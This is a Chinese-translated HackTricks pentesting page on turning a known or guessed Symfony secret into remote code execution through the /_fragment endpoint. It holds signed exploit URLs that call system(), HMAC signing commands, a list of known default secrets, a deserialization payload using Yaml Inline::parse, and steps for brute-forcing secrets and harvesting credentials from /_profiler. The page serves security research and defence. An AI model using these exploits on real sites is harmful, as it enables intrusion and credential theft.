hacktricks/network-services-pentesting/pentesting-web/symphony.md
2023-08-03 19:12:22 +00:00

30 KiB
Raw Blame History

Symfony

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

介绍

自2008年创建以来基于PHP的应用程序中使用Symfony框架的使用越来越多。它现在是许多知名CMS的核心组件例如DrupalJoomlaeZPlatform以前是eZPublishBolt,并且经常用于构建自定义网站。

Symfony的一个内置功能用于处理ESI边缘包含,是FragmentListener。基本上,当有人发出对/_fragment的请求时此侦听器会从给定的GET参数设置请求属性。由于这允许运行任意PHP代码稍后详细介绍请求必须使用HMAC值进行签名。此HMAC的秘密加密密钥存储在名为secret的Symfony配置值下。

这个配置值secret也被用于构建CSRF令牌和记住我令牌。鉴于其重要性这个值显然必须非常随机。

不幸的是,我们发现秘密通常要么有一个默认值,要么存在获取该值的方法,离线暴力破解它,或者纯粹绕过与其相关的安全检查。它主要影响BolteZPlatform和eZPublish。

尽管这可能看起来像一个无害的配置问题但我们发现在上述CMS以及自定义应用程序中默认值、可暴力破解或可猜测的值非常非常常见。这主要是由于在文档或安装指南中没有足够强调其重要性。

此外,攻击者可以将影响较小的漏洞升级为读取secret(通过文件泄露),绕过/_fragment签名过程使用SSRF甚至通过phpinfo()泄露它!

在本博文中我们将描述如何在各种CMS和基础框架中获取秘密并如何使用该秘密执行代码。

一点历史

作为一个现代化的框架Symfony从创建到现在一直在处理生成请求的子部分。在/_fragment之前,有/_internal/_proxy,它们本质上是做同样的事情。多年来,它产生了许多漏洞:CVE-2012-6432CVE-2014-5245CVE-2015-4050等。

自Symfony 4以来安装时会生成秘密并且默认情况下禁用/_fragment页面。因此,人们可能认为,既有弱secret,又启用/_fragment的情况很少见。但事实并非如此许多框架依赖于旧的Symfony版本甚至2.x仍然非常常见并且实现了静态secret值或生成不良的值。此外许多依赖于ESI因此启用了/_fragment页面。此外,正如我们将看到的,其他影响较小的漏洞也可以允许转储秘密,即使它已经被安全地生成。

使用secret执行代码

我们首先演示了一个攻击者如何在了解secret配置值的情况下获取代码执行。这是针对最新的symfony/http-kernel版本进行的,但对其他版本也类似。

使用 /_fragment 运行任意代码

如前所述,我们将使用 /_fragment 页面。

# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php

class FragmentListener implements EventSubscriberInterface
{
public function onKernelRequest(RequestEvent $event)
{
$request = $event->getRequest();

# [1]
if ($this->fragmentPath !== rawurldecode($request->getPathInfo())) {
return;
}

if ($request->attributes->has('_controller')) {
// Is a sub-request: no need to parse _path but it should still be removed from query parameters as below.
$request->query->remove('_path');

return;
}

# [2]
if ($event->isMasterRequest()) {
$this->validateRequest($request);
}

# [3]
parse_str($request->query->get('_path', ''), $attributes);
$request->attributes->add($attributes);
$request->attributes->set('_route_params', array_replace($request->attributes->get('_route_params', []), $attributes));
$request->query->remove('_path');
}
}

FragmentListener:onKernelRequest会在每个请求上运行:如果请求的路径是/_fragment[1],该方法首先会检查请求是否有效(即是否正确签名),否则会引发异常[2]。如果安全检查成功它将解析url编码的_path参数,并相应地设置$request属性。

请求属性不应与HTTP请求参数混淆它们是Symfony维护的内部值通常不能由用户指定。其中一个请求属性是_controller它指定要调用的Symfony控制器一个方法元组或者只是一个函数。名称不以_开头的属性是要传递给控制器的参数。例如,如果我们希望调用这个方法:

class SomeClass
{
public function someMethod($firstMethodParam, $secondMethodParam)
{
...
}
}

我们将_path设置为:

_controller=SomeClass::someMethod&firstMethodParam=test1&secondMethodParam=test2

然后请求将如下所示:

http://symfony-site.com/_fragment?_path=_controller%3DSomeClass%253A%253AsomeMethod%26firstMethodParam%3Dtest1%26secondMethodParam%3Dtest2&_hash=...

基本上这允许调用任何函数或任何类的任何方法以及任何参数。鉴于Symfony拥有众多的类获取代码执行是微不足道的。例如,我们可以调用system()

http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=...

每次调用system并不总是有效有关利用细节请参考Exploit部分。

但是还有一个问题Symfony如何验证请求的签名

对URL进行签名

为了验证URL的签名会对_完整的_ URL计算HMAC。然后将得到的哈希与用户指定的哈希进行比较。

在代码上,这是在两个地方完成的:

# ./vendor/symfony/http-kernel/EventListener/FragmentListener.php

class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}

// is the Request signed?
if ($this->signer->checkRequest($request)) {
return;
}

# [3]
throw new AccessDeniedHttpException();
}
}

# ./vendor/symfony/http-kernel/UriSigner.php

class UriSigner
{
public function checkRequest(Request $request): bool
{
$qs = ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : '';

// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
return $this->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().$qs);
}

/**
* Checks that a URI contains the correct hash.
*
* @return bool True if the URI is signed correctly, false otherwise
*/
public function check(string $uri)
{
$url = parse_url($uri);
if (isset($url['query'])) {
parse_str($url['query'], $params);
} else {
$params = [];
}

if (empty($params[$this->parameter])) {
return false;
}

$hash = $params[$this->parameter];
unset($params[$this->parameter]);

# [2]
return hash_equals($this->computeHash($this->buildUrl($url, $params)), $hash);
}

private function computeHash(string $uri): string
{
# [1]
return base64_encode(hash_hmac('sha256', $uri, $this->secret, true));
}

private function buildUrl(array $url, array $params = []): string
{
ksort($params, SORT_STRING);
$url['query'] = http_build_query($params, '', '&');

$scheme = isset($url['scheme']) ? $url['scheme'].'://' : '';
$host = isset($url['host']) ? $url['host'] : '';
$port = isset($url['port']) ? ':'.$url['port'] : '';
$user = isset($url['user']) ? $url['user'] : '';
$pass = isset($url['pass']) ? ':'.$url['pass'] : '';
$pass = ($user || $pass) ? "$pass@" : '';
$path = isset($url['path']) ? $url['path'] : '';
$query = isset($url['query']) && $url['query'] ? '?'.$url['query'] : '';
$fragment = isset($url['fragment']) ? '#'.$url['fragment'] : '';

return $scheme.$user.$pass.$host.$port.$path.$query.$fragment;
}
}

简而言之Symfony提取_hash GET参数然后重构完整的URL例如https://symfony-site.com/_fragment?_path=controller%3d...%26argument1=test%26...,使用secret作为密钥[1]对该URL进行HMAC计算并将其与给定的哈希值进行比较[2]。如果它们不匹配,则会引发AccessDeniedHttpException异常[3],导致403错误。

示例

为了测试这个,让我们设置一个测试环境,并提取密钥(在这种情况下,是随机生成的)。

$ git clone https://github.com/symfony/skeleton.git
$ cd skeleton
$ composer install
$ sed -i -E 's/#(esi|fragment)/\1/g' config/packages/framework.yaml # Enable ESI/fragment
$ grep -F APP_SECRET .env # Find secret
APP_SECRET=50c8215b436ebfcc1d568effb624a40e
$ cd public
$ php -S 0:8000

现在,访问http://localhost:8000/_fragment会返回403错误。现在,让我们尝试提供一个有效的签名:

$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', 'http://localhost:8000/_fragment', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D

通过检查 http://localhost:8000/_fragment?_hash=lNweS5nNP8QCtMqyqrW8HIl4j9JXIfscGeRm%2FcmFOh8%3D,我们现在得到了一个 404 状态码。签名是正确的但我们没有指定任何请求属性所以Symfony找不到我们的控制器。

由于我们可以调用任何方法,使用任何参数,我们可以选择 system($command, $return_value),并提供如下有效载荷:

$ page="http://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ php -r "echo(urlencode(base64_encode(hash_hmac('sha256', '$page', '50c8215b436ebfcc1d568effb624a40e', 1))) . PHP_EOL);"
GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D

我们现在可以访问利用URLhttp://localhost:8000/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull&_hash=GFhQ4Hr1LIA8mO1M%2FqSfwQaSM8xQj35vPhyrF3hvQyI%3D

尽管出现了500错误,但我们可以看到我们的命令已经执行

使用片段进行远程代码执行RCE

1

查找秘密

再次强调:如果无法获取秘密,所有这些都没有意义。通常情况下,我们可以找到秘密。我们将描述几种在没有任何先前知识的情况下获取代码执行的方法。

通过漏洞

让我们从明显的漏洞开始,使用低影响的漏洞来获取秘密。

文件读取

显然,可以使用文件读取漏洞来读取以下文件并获取secret

  • app/config/parameters.yml
  • .env

例如一些Symfony调试工具栏允许您读取文件。

PHPinfo

在最新的Symfony版本3.xsecret存储在.env中作为APP_SECRET。由于它被导入为环境变量,可以通过phpinfo()页面查看它们。

通过phpinfo泄露APP_SECRET

2

可以通过Symfony的分析器包来实现这一点如屏幕截图所示。

SSRF / IP欺骗CVE-2014-5245

FragmentListener背后的代码在多年间发生了变化在版本_2.5.3_之前,当请求来自受信任的代理(即localhost它将被视为安全的因此不会检查哈希值。例如SSRF可以允许立即运行代码而不管是否有secret。这主要影响eZPublish直到2014.7版本。

# ./vendor/symfony/symfony/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
# Symfony 2.3.18

class FragmentListener implements EventSubscriberInterface
{
protected function validateRequest(Request $request)
{
// is the Request safe?
if (!$request->isMethodSafe()) {
throw new AccessDeniedHttpException();
}

// does the Request come from a trusted IP?
$trustedIps = array_merge($this->getLocalIpAddresses(), $request->getTrustedProxies());
$remoteAddress = $request->server->get('REMOTE_ADDR');
if (IpUtils::checkIp($remoteAddress, $trustedIps)) {
return;
}

// is the Request signed?
// we cannot use $request->getUri() here as we want to work with the original URI (no query string reordering)
if ($this->signer->check($request->getSchemeAndHttpHost().$request->getBaseUrl().$request->getPathInfo().(null !== ($qs = $request->server->get('QUERY_STRING')) ? '?'.$qs : ''))) {
return;
}

throw new AccessDeniedHttpException();
}

protected function getLocalIpAddresses()
{
return array('127.0.0.1', 'fe80::1', '::1');
}

诚然,所有这些技术都需要另一个漏洞。让我们深入研究一个更好的向量:默认值。

通过默认值

Symfony <= 3.4.43: ThisTokenIsNotSoSecretChangeIt

在设置Symfony网站时第一步是安装symfony-standard骨架。安装完成后,会提示输入一些配置值。默认情况下,密钥是ThisTokenIsNotSoSecretChangeIt

Symfony通过composer进行安装

3

在后续版本4+)中,密钥会被安全地生成。

ezPlatform 3.x最新版ff6dc61a329dc96652bb092ec58981f7

ezPlatformezPublish的继任者仍然使用Symfony。在2019年6月10日一次提交将默认密钥设置为ff6dc61a329dc96652bb092ec58981f7。受影响的版本范围从3.0-alpha1到3.1.1(当前版本)。

尽管文档指出应该更改密钥,但并没有强制执行。

ezPlatform 2.xThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt

与Symfony的骨架类似在安装过程中会提示您输入一个密钥。默认值为ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt

Bolt CMS <= 3.7(最新版):md5(__DIR__)

Bolt CMS使用Silex这是一个基于Symfony的已弃用的微框架。它使用以下计算来设置密钥

# ./vendor/silex/silex/src/Silex/Provider/HttpFragmentServiceProvider.php
$app['uri_signer.secret'] = md5(__DIR__);

# ./vendor/silex/silex/src/Silex/Provider/FormServiceProvider.php
$app['form.secret'] = md5(__DIR__);

因此,可以猜测秘密,或使用完整路径泄露漏洞来计算它。

如果使用默认的秘密密钥没有成功,不要绝望:还有其他方法。

暴力破解

由于秘密通常是手动设置的(而不是随机生成的),人们通常会使用密码短语而不是安全的随机值,这使得我们可以使用哈希来进行暴力破解。显然,一个有效的/_fragment URL例如Symfony生成的URL将为我们提供一个有效的消息-哈希对,以便我们可以对秘密进行暴力破解。

响应中包含了一个有效的fragment请求

4

在本文的开头我们说Symfony的秘密有几个用途。其中之一就是用于生成CSRF令牌。secret的另一个用途是用于签名记住我remember-mecookie。在某些情况下攻击者可以使用自己的CSRF令牌或记住我cookie来暴力破解secret的值。

构造这些令牌的逆向工程留给读者作为练习。

更进一步eZPublish

为了演示如何通过暴力破解秘密来实现代码执行我们将看看如何找出eZPublish 2014.07的秘密。

寻找暴力破解材料

eZPublish生成其CSRF令牌的方式如下

# ./ezpublish_legacy/extension/ezformtoken/event/ezxformtoken.php
self::$token = sha1( self::getSecret() . self::getIntention() . session_id() );

要构建这个令牌eZP使用了我们知道的两个值和秘密getIntention()是用户尝试的操作(例如authenticatesession_id()是PHP会话IDgetSecret()则是Symfony的secret

由于CSRF令牌可以在某些表单中找到我们现在有了破解秘密的材料。

不幸的是ezPublish集成了来自sensiolabs的一个bundlesensio/distribution-bundle。该软件包确保秘密密钥是随机的。它在安装时生成如下:

# ./vendor/sensio/distribution-bundle/Sensio/Bundle/DistributionBundle/Configurator/Step/SecretStep.php

private function generateRandomSecret()
{
return hash('sha1', uniqid(mt_rand()));
}

这个看起来很难暴力破解:mt_rand()可以产生231个不同的值uniqid()是由当前时间戳(带有微秒)构建的。

// Simplified uniqid code

struct timeval tv;
gettimeofday(&tv, NULL);
return strpprintf(0, "%s%08x%05x", prefix, tv.tv_sec, tv.tv_usec);

揭示时间戳

幸运的是,我们知道这个秘密是在安装的最后一步生成的,在网站设置完成后立即生成。这意味着我们可能会泄露用于生成此哈希的时间戳。

一种方法是使用日志(例如/var/log/storage.log);可以泄露缓存条目创建的第一次时间。缓存条目在调用generateRandomSecret()之后立即创建。

示例日志内容:时间戳与计算密钥时使用的时间戳类似

5

如果日志不可用可以使用eZPublish的强大搜索引擎来查找网站的第一个元素的创建时间。实际上当网站创建时会将许多时间戳放入数据库中。这意味着eZPublish网站的初始数据的时间戳与用于计算uniqid()的时间戳相同。我们可以搜索landing_page _ContentObject_并找出其时间戳。

暴力破解缺失的部分

我们现在知道用于计算密钥的时间戳,以及以下形式的哈希值:

$random_value = mt_rand();
$timestamp_hex = sprintf("%08x%05x", $known_timestamp, $microseconds);
$known_plaintext = '<intention><sessionID>';
$known_hash = sha1(sha1(mt_rand() . $timestamp_hex) . $known_plaintext);

这样我们就有了总共231 * 106种可能性。使用hashcat和一组强大的GPU这个任务是可行的但是hashcat没有提供sha1(sha1($pass).$salt)的内核。幸运的是,我们已经实现了!你可以在这里找到拉取请求

使用我们的破解机器拥有8个GPU我们可以在不到20小时内破解这个哈希。

在获取哈希之后,我们可以使用/_fragment来执行代码。

结论

Symfony现在是许多PHP应用程序的核心组件。因此任何影响该框架的安全风险都会影响到许多网站。正如本文所示无论是弱密钥还是较不重要的漏洞都允许攻击者获得远程代码执行的权限。

作为蓝队成员您应该检查每个依赖Symfony的网站。最新的软件也不能排除存在漏洞的可能性因为密钥是在产品首次安装时生成的。因此如果您几年前创建了一个基于Symfony-3.x的网站并在此过程中保持了更新那么默认密钥可能仍然有效。

攻击

理论

首先,我们在利用此漏洞时需要关注以下几点:

  • HMAC是使用完整的URL计算的。如果网站位于反向代理后面我们需要使用服务的内部URL而不是我们发送有效载荷的URL。例如内部URL可能是HTTP而不是HTTPS。
  • HMAC的算法随着时间的推移而改变之前是SHA-1,现在是SHA-256
  • 由于Symfony会从请求中删除_hash参数然后再次生成URL我们需要在与其相同的URL上计算哈希。
  • 可以使用许多密钥,因此我们需要检查它们全部。
  • 在某些PHP版本中我们无法调用具有“按引用”参数的函数例如system($command, &$return_value)
  • 在某些Symfony版本中_controller不能是一个函数它必须是一个方法。我们需要找到一个允许我们执行代码的Symfony方法。

另一方面,我们可以利用以下几点:

  • 在没有参数或具有无效哈希的情况下访问/_fragment应返回403
  • 在具有有效哈希但没有有效控制器的情况下访问/_fragment应返回500

最后一点允许我们测试密钥值,而不必担心之后要调用哪个函数或方法。

实践

假设我们正在攻击https://target.com/_fragment。为了能够正确签名URL我们需要了解以下信息

  • 内部URL可能是https://target.com/_fragment,也可能是http://target.com/_fragment,或者完全不同的内容(例如http://target.website.internal),我们无法猜测
  • 密钥:我们有一组常用的密钥,例如ThisTokenIsNotSoSecretChangeItThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt等。
  • 算法SHA1或SHA256

我们现在不需要担心有效载荷(_path的内容因为正确签名的URL不会导致抛出AccessDeniedHttpException,因此也不会导致403。因此该攻击将尝试每个算法、URL、密钥组合生成一个URL并检查是否不返回403状态码。

没有_path参数的有效请求到/_fragment

6

此时,我们可以签名任何/_fragment URL这意味着它是一个保证的RCE。只是要调用什么函数的问题。

然后,我们需要找出是否可以直接调用函数,还是需要使用类方法。我们可以首先尝试最简单直接的方式,使用诸如phpinfo ([ int $what = INFO_ALL ] )文档)这样的函数。_path GET参数将如下所示

_controller=phpinfo
&what=-1

而URL将如下所示

http://target.com/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=...

如果HTTP响应显示了phpinfo()页面,我们就成功了。然后我们可以尝试使用另一个函数,比如assert

使用_controller=assert的示例输出

7

否则,这意味着我们需要使用一个类方法。一个很好的选择是Symfony\Component\Yaml\Inline::parse它是一个内置的Symfony类因此在Symfony网站上是存在的。

显然这个方法解析一个YAML输入字符串。Symfony的YAML解析器支持php/object标签,它将把一个序列化的输入字符串转换为一个对象,使用unserialize()函数。这让我们可以使用我们喜欢的PHP工具PHPGGC

这个方法的原型在多年间发生了变化。例如,这里有三个不同的原型:

public static function parse($value, $flags, $references);
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);

相比于为每个参数构建_path,我们可以利用这样一个事实:如果我们提供的参数名称与方法原型不匹配,它将被忽略。因此,我们可以将所有可能的参数添加到方法中,而不必担心实际的原型。

因此,我们可以这样构建_path

_controller=Symfony\Component\Yaml\Inline::parse
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
&flags=516
&exceptionOnInvalidType=0
&objectSupport=1
&objectForMap=0
&references=
&flags=516

再次,我们可以尝试使用phpinfo(),看看是否有效。如果有效,我们可以改用system()

使用序列化负载的Inline::parse的示例输出

8

因此,利用程序将遍历每种可能的变量组合,然后尝试这两种利用方法。代码可在我们的GitHub上找到。

访问symfony /_profiler信息

f:id:flattsecurity:20201021204553p:plain

如上面的屏幕截图所示,页面右下角有一个sf标志。当Symfony处于调试模式下时会显示此标志。有些情况下此标志可能不会显示因此尝试访问/_profiler,您将看到如下所示的页面。

f:id:flattsecurity:20201021204605p:plain

此功能称为Symfony Profiler在互联网上关于此功能的信息不多。此功能的意图非常明确在出现错误或漏洞时它可以帮助您进行调试。当然只有在启用调试模式时才能使用此功能。

Symfony框架本身非常安全但启用调试模式将使该框架极易受攻击。例如Profiler具有一个名为Profile Search的功能如下面的屏幕截图所示。

f:id:flattsecurity:20201021204624p:plain

如上面的屏幕截图所示您可以访问发送到服务器的所有请求。通过点击令牌中的哈希值您将看到可以读取所有POST参数如下面的屏幕截图所示。利用此功能我们可以劫持管理员和用户的帐户凭据。

f:id:flattsecurity:20201021204637p:plain

其他启用调试的端点

您还应检查以下URL

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥